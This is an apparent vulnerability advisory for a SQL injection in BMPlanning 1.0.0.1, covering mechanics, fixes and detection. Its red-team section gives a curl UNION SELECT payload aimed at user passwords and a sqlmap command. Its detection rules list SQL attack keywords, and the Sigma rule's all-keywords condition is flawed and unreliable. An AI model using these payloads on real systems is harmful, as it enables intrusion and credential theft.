CVE-2024-28298

Executive Summary

CVE-2024-28298 is a critical SQL injection vulnerability discovered in BM SOFT BMPlanning version 1.0.0.1. This flaw allows authenticated users to execute arbitrary SQL commands through multiple parameters, including SEC_IDF, LIE_IDF, PLANF_IDF, CLI_IDF, and DOS_IDF, when sent to the /BMServerR.dll/BMRest endpoint. The vulnerability stems from improper sanitization of user-supplied input before inclusion in SQL queries, enabling attackers to manipulate database queries, extract sensitive data, or potentially achieve remote code execution depending on database permissions. The vendor has not released a patch, and no public exploit code or Nuclei template is available at this time. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains high for organizations using this software.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary Windows-based application (BMPlanning) and is not part of any open-source package ecosystem.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, but based on the vulnerability description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Authentication is required, but the attacker only needs low-level user privileges.
• User Interaction (UI): None (N) – No user interaction is needed.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full database read access is possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted or destroyed.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 8.8 (High)

Threat Level: High. Although no public exploit exists, the vulnerability is straightforward to exploit once authenticated, and the impact on confidentiality, integrity, and availability is severe.

Deep Dive & Mechanics

The vulnerability exists in the BMRest handler within BMServerR.dll. The application fails to properly sanitize input parameters before constructing SQL queries. Specifically, the parameters SEC_IDF, LIE_IDF, PLANF_IDF, CLI_IDF, and DOS_IDF are directly concatenated into SQL statements without parameterization or escaping.

Root Cause: The use of dynamic SQL query construction with string concatenation instead of prepared statements or parameterized queries.

Attack Flow:

1. An authenticated user sends a crafted HTTP request to /BMServerR.dll/BMRest with malicious SQL payloads in one or more of the vulnerable parameters.
2. The server processes the request and builds a SQL query by directly inserting the parameter values.
3. The malicious SQL code is executed against the database, allowing the attacker to read, modify, or delete data, or execute administrative commands if the database user has sufficient privileges.

Example vulnerable parameter usage:

/BMServerR.dll/BMRest?SEC_IDF=1' OR '1'='1' -- 

This would result in a SQL query like:

SELECT * FROM table WHERE SEC_IDF = '1' OR '1'='1' -- '

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and the recommended fix.

Vulnerable Code (Conceptual):

// BMServerR.dll - BMRest handler
string sql = "SELECT * FROM Planning WHERE SEC_IDF = '" + Request["SEC_IDF"] + "'";
SqlCommand cmd = new SqlCommand(sql, connection);
cmd.ExecuteReader();

Patched Code (Recommended):

// Use parameterized queries
string sql = "SELECT * FROM Planning WHERE SEC_IDF = @SEC_IDF";
SqlCommand cmd = new SqlCommand(sql, connection);
cmd.Parameters.AddWithValue("@SEC_IDF", Request["SEC_IDF"]);
cmd.ExecuteReader();

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to a BMPlanning instance (version 1.0.0.1)
• Valid low-privilege user credentials

Exploitation Steps:

1. Authenticate to the BMPlanning web interface and obtain a session cookie.
2. Craft a malicious request to the /BMServerR.dll/BMRest endpoint with SQL injection in one of the vulnerable parameters.

Example Request (using curl):

curl -X GET "http://target/BMServerR.dll/BMRest?SEC_IDF=1' UNION SELECT username, password FROM users--" -b "session=valid_session_cookie"

Manual SQL Injection Testing:

-- Test for error-based injection
SEC_IDF=1' AND 1=1-- 
SEC_IDF=1' AND 1=2-- 

-- Time-based blind injection
SEC_IDF=1' WAITFOR DELAY '0:0:5'-- 

Automated Exploitation (using sqlmap):

sqlmap -u "http://target/BMServerR.dll/BMRest?SEC_IDF=1" --cookie="session=valid_session_cookie" --batch --dbs

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for unusual SQL keywords in request parameters (e.g., UNION, SELECT, OR 1=1, WAITFOR).
2. Implement a Web Application Firewall (WAF) rule to block requests containing SQL injection patterns.
3. Review database logs for anomalous queries originating from the application user.

Honeypot Setup:

• Deploy a decoy BMPlanning instance with modified parameters to capture attacker behavior.
• Log all requests to /BMServerR.dll/BMRest and analyze for injection attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /BMServerR.dll/BMRest containing SQL keywords in parameters (e.g., UNION, SELECT, OR, AND, WAITFOR, --).
• Unusual database error messages in HTTP responses (e.g., "Incorrect syntax near", "Unclosed quotation mark").

Host IOCs:

• Unexpected database connections from the application server.
• Modified or deleted records in the BMPlanning database.
• Presence of new database users or elevated privileges.

Log IOCs:

• Web server logs showing repeated requests with SQL injection patterns.
• Database logs showing queries with concatenated user input.

Detection Engineering

YARA Rule

rule CVE_2024_28298_SQLi_BMPlanning {
    meta:
        description = "Detects SQL injection attempts targeting BMPlanning CVE-2024-28298"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-28298"
    strings:
        $s1 = "SEC_IDF=" nocase
        $s2 = "LIE_IDF=" nocase
        $s3 = "PLANF_IDF=" nocase
        $s4 = "CLI_IDF=" nocase
        $s5 = "DOS_IDF=" nocase
        $sql1 = "UNION" nocase
        $sql2 = "SELECT" nocase
        $sql3 = "OR 1=1" nocase
        $sql4 = "WAITFOR" nocase
        $sql5 = "--" nocase
    condition:
        any of ($s1, $s2, $s3, $s4, $s5) and any of ($sql1, $sql2, $sql3, $sql4, $sql5)
}

Sigma Rule

title: SQL Injection Attempt Against BMPlanning CVE-2024-28298
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting BMPlanning via vulnerable parameters
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains:
            - 'SEC_IDF='
            - 'LIE_IDF='
            - 'PLANF_IDF='
            - 'CLI_IDF='
            - 'DOS_IDF='
        cs-uri-query|contains|all:
            - 'UNION'
            - 'SELECT'
            - 'OR 1=1'
            - 'WAITFOR'
            - '--'
    condition: selection
falsepositives:
    - Legitimate use of these parameters with similar patterns (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-28298 SQL Injection Attempt Against BMPlanning";
    flow:to_server,established;
    content:"/BMServerR.dll/BMRest"; http_uri;
    content:"SEC_IDF="; http_uri; nocase;
    pcre:"/(UNION|SELECT|OR 1=1|WAITFOR|--)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-28298;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: If possible, restrict network access to the BMPlanning server to only trusted IPs.
2. Apply input validation: Implement strict input validation on all parameters (SEC_IDF, LIE_IDF, PLANF_IDF, CLI_IDF, DOS_IDF) to allow only expected characters (e.g., numeric values).
3. Use a WAF: Deploy a Web Application Firewall with rules to block SQL injection patterns.

Long-term Fix:

• The vendor (BM SOFT) must release a patch that replaces dynamic SQL queries with parameterized statements or stored procedures.
• If the vendor is unresponsive, consider migrating to an alternative planning solution.

Workaround:

• Modify the application's web.config or IIS configuration to reject requests containing SQL keywords in the vulnerable parameters.

Monitoring:

• Enable detailed logging on the web server and database to detect and investigate any exploitation attempts.

Valters IT